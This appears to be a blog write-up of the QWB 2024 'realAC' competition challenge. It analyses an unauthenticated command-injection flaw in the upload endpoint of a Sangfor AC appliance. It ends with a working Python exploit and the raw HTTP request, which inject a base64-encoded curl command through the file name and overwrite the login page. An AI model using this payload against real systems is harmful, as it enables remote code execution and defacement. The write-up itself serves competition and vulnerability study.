[ayoung@blog posts]$ cat ./qwb 2024 rw realac.md

qwb 2024 rw realac

[Last modified: 2024-12-15]

题目描述

题目信息:
题目名称:realAC
旗帜名称:rAC
题目描述:附件中给出了一个虚拟机,环境和展示区相同但密码不同。请实现root权限的RCE,并将展示页面的https://ip:443/login.html修改为特定主页。
附件信息:附件为台上相同的攻击环境(仅密码不同)。
台上拓扑:交换机同时连接选手攻击机和代理虚拟机,代理虚拟机与靶机相连。代理虚拟机将靶机的80,85,443,9998端口,通过端口转发的方式可被选手访问。其中代理虚拟机仅提供端口转发功能。

展示目标:选手携带自己的攻击机上台,接入代理虚拟机所在网段,需要在规定的时间内攻击靶机,将https://ip:443/login.html修改为特定页面。需要修改的特定页面详见附件中的login.html,选手展示时需将其中的“XXXXX”替换为自己的队伍名。

展示时操作人员操作步骤:
1)恢复虚拟机快照到初始状态;
2)打开虚拟机;
3)在靶机的浏览器中访问https://ip:443/login.html,确认虚拟机中的服务正常。
4)检查靶机IP,并告知选手,确认选手可以正常访问https://ip:443/login.html;80,85,443,9998端口均为开放状态;
5)等待选手攻击;
6)重新在靶机的浏览器中访问https://ip:443/login.html确认选手是否篡改了页面;
7)在规定时间内可以配合选手重启虚拟机;
8)攻击成功或超时后:恢复虚拟机快照到初始状态。

1 命令注入

服务分析

内置apache和nginx 暂时先理nginx 找配置文件

Sangfor-AC-13.0.47 ~ # find / -name "nginx.conf"
/var/cfgroot/ac/etc/nginx/conf/nginx.conf
/etc/nginx/conf/nginx.conf
/ac/module/openresty/nginx/conf/nginx.conf
/ac/etc/nginx/conf/nginx.conf
/ac/common/cfgconvert/12.0.7/nginx/nginx.conf
/ac/common/cfgconvert/12.0.5/nginx/nginx.conf
/ac/common/cfgconvert/12.0.9/nginx/nginx.conf

实际使用的是/ac/etc/nginx/conf/nginx.conf 启动需要指定到此配置文件 nginx -s reload -c /ac/etc/nginx/conf/nginx.conf

核心部分如下,定义了一个路由/ingress/illegal,调用/ac/module/openresty/nginx/scripts/ingress_upload.lua

http {
    ...
	
	server {
        ...

		# 处理分支准入上报的数据
		location = /ingress/illegal {
			# 硬限制60M
			client_max_body_size 60M;
			# 30分钟超时
			keepalive_timeout 1800;
			# 转发
			upload_pass @ingress_upload;

			# 临时保存路径(/etc/init.d/nginx脚本里确保了此目录存在)
			upload_store /data/ingress_illegal/ingress_branch_data/upload_temp;

			# 上传文件的权限
			upload_store_access all:rw;

			# 去掉url中的参数
			upload_pass_args off;

			# 这里写入http报头,pass到后台页面后能获取这里set的报头字段
			upload_set_form_field "file_name" $upload_file_name;
			upload_set_form_field "file_content_type" $upload_content_type;
			upload_set_form_field "file_tmp_path" $upload_tmp_path;

			# Upload模块自动生成的一些信息,如文件大小与文件md5值
			upload_aggregate_form_field "file_md5" $upload_file_md5;
			upload_aggregate_form_field "file_size" $upload_file_size;

			# 所有原始字段传到后台
			# upload_pass_form_field "^.*$";
			# 每秒字节速度控制,0表示不限制
			upload_limit_rate 0;

			# 如果pass页面是以下状态码,就删除此次上传的临时文件
			upload_cleanup 400 403 404 499 500-505;
		}

		location @ingress_upload {
			lua_need_request_body on; 
			content_by_lua_file "/ac/module/openresty/nginx/scripts/ingress_upload.lua";
		}
    }
}

注意这里配置文件中

# 这里写入http报头,pass到后台页面后能获取这里set的报头字段
upload_set_form_field "file_name" $upload_file_name;
upload_set_form_field "file_content_type" $upload_content_type;
upload_set_form_field "file_tmp_path" $upload_tmp_path;

# Upload模块自动生成的一些信息,如文件大小与文件md5值
upload_aggregate_form_field "file_md5" $upload_file_md5;
upload_aggregate_form_field "file_size" $upload_file_size;

源于upload_module

该模块解析请求体,存储上传到由upload_store指令指定的目录的所有文件。然后文件被从主体中剥离,然后更改请求被传递到由upload_pass指令指定的位置,从而允许任意处理上传的文件。每个文件字段都被upload_set_form_field指令指定的一组字段所替换

然后,可以从$upload_tmp_path变量指定的文件中读取每个上传文件的内容,也可以将文件简单地移动到最终目的地。输出文件的移除由upload_cleanup指令控制。如果请求具有POST以外的方法,则模块返回错误405 (method not allowed)。使用这些方法的请求可以通过error_page指令在另一个位置处理

Specifies a form field(s) to generate for each uploaded file in request body passed to backend. Both name and value could contain following special variables:

  • $upload_field_name: the name of original file field
  • $upload_content_type: the content type of file uploaded
  • $upload_file_name: the original name of the file being uploaded with leading path elements in DOS and UNIX notation stripped. I.e. "D:\Documents And Settings\My Dcouments\My Pictures\Picture.jpg" will be converted to "Picture.jpg" and "/etc/passwd" will be converted to "passwd".
  • $upload_tmp_path: the path where the content of original file is being stored to. The output file name consists 10 digits and generated with the same algorithm as in proxy_temp_path directive.

所以$upload_field_name就是报文中上传的文件名

/ac/module/openresty/nginx/scripts/ingress_upload.lua内容如下 没有任何鉴权,从onupload()中进入process_file()filename可以命令注入

-- 此脚本用于处理分支上传的准入违规数据
-- 就是接收文件,存放到指定目录下
local sa = require("safeaccess")

-- 压缩包存放路径
local root_dir = "/data/ingress_illegal/ingress_branch_data/compress/";

-- 入口
function onupload()
    ngx.req.read_body()
	-- 获取上传的参数
    local post_args = ngx.req.get_post_args()
	local http_headers = ngx.req.get_headers()

	-- 取得参数的分界符
	local boundary = string.match(http_headers["Content-Type"], "boundary=(.*)")
	-- 解析参数,从头部取得的分解符比真正的分界符少了两个'-'需补上
	local table_params = get_params(post_args, "--" .. boundary)

    ret_val = process_file(table_params)

	-- 处理文件后返回
    if ret_val == true then
		ngx.say(string.format("md5=%s&size=%s&name=%s&res=%s", 
			table_params["file_md5"], table_params["file_size"], table_params["file_name"], "ok"))
    else
		ngx.status = 403	-- 失败返回403 forbidden
		ngx.say(string.format("md5=%s&size=%s&name=%s&res=%s", 
			table_params["file_md5"], table_params["file_size"], table_params["file_name"], "mv fail"))
    end
end

-- 解析form格式的参数
function get_params(post_args, boundary)
	local param = ""
	for k, v in pairs(post_args) do
		param = k .. "=" .. v
	end
	
	local params = sa.split(string.gsub(param, "\r\n", ""), boundary)
	local res = {}

	for k, v in pairs(params) do
		local name, data = string.match(v, "name=\"(.+)\"(.+)")
		if name and data then
			res[trim(name)] = trim(data)
		end
	end
	return res
end

-- 处理临时文件
function process_file(params)
    local filename = params["file_name"]	-- 压缩包的文件名
	local file_tmp_path = trim(params["file_tmp_path"])		-- 文件此时所在路径
	local mv_command = string.format("mv %s %s &> /dev/null", file_tmp_path, root_dir .. filename)

	return os.execute(mv_command)
end

-- 字符串去掉空格
function trim(str)
    if str ~= nil then
        return string.gsub(str, "%s+", "")
	end
	return nil
end

onupload()

exp

注入命令,下载页面并覆盖原login.html

curl -o /ac/webui/front_end/login.html http://192.168.130.1:8000/login.html
import requests

url = "http://192.168.130.154/ingress/illegal"

file_content = b"This is the content of the example.txt file."
files = {
    'file': (';echo${IFS}Y3VybCAtbyAvYWMvd2VidWkvZnJvbnRfZW5kL2xvZ2luLmh0bWwgaHR0cDovLzE5Mi4xNjguMTMwLjE6ODAwMC9sb2dpbi5odG1s${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;', file_content, 'text/plain')
}

response = requests.post(url, files=files,verify=False)

print("Status Code:", response.status_code)
print("Response Body:", response.text)

对应报文如下

POST /ingress/illegal HTTP/1.1
Host: 192.168.130.154
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 364
Content-Type: multipart/form-data; boundary=9acf1c41fd00b7590ee457afb704fa3f

--9acf1c41fd00b7590ee457afb704fa3f
Content-Disposition: form-data; name="file"; filename=";echo${IFS}Y3VybCAtbyAvYWMvZGMvbGRiL2Jpbi93ZWIvdWkvbG9naW4uaHRtbCBodHRwOi8vMTkyLjE2OC4xMzAuMTo4MDAwL2xvZ2luLmh0bWw=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;"
Content-Type: text/plain

This is the content of the example.txt file.
--9acf1c41fd00b7590ee457afb704fa3f--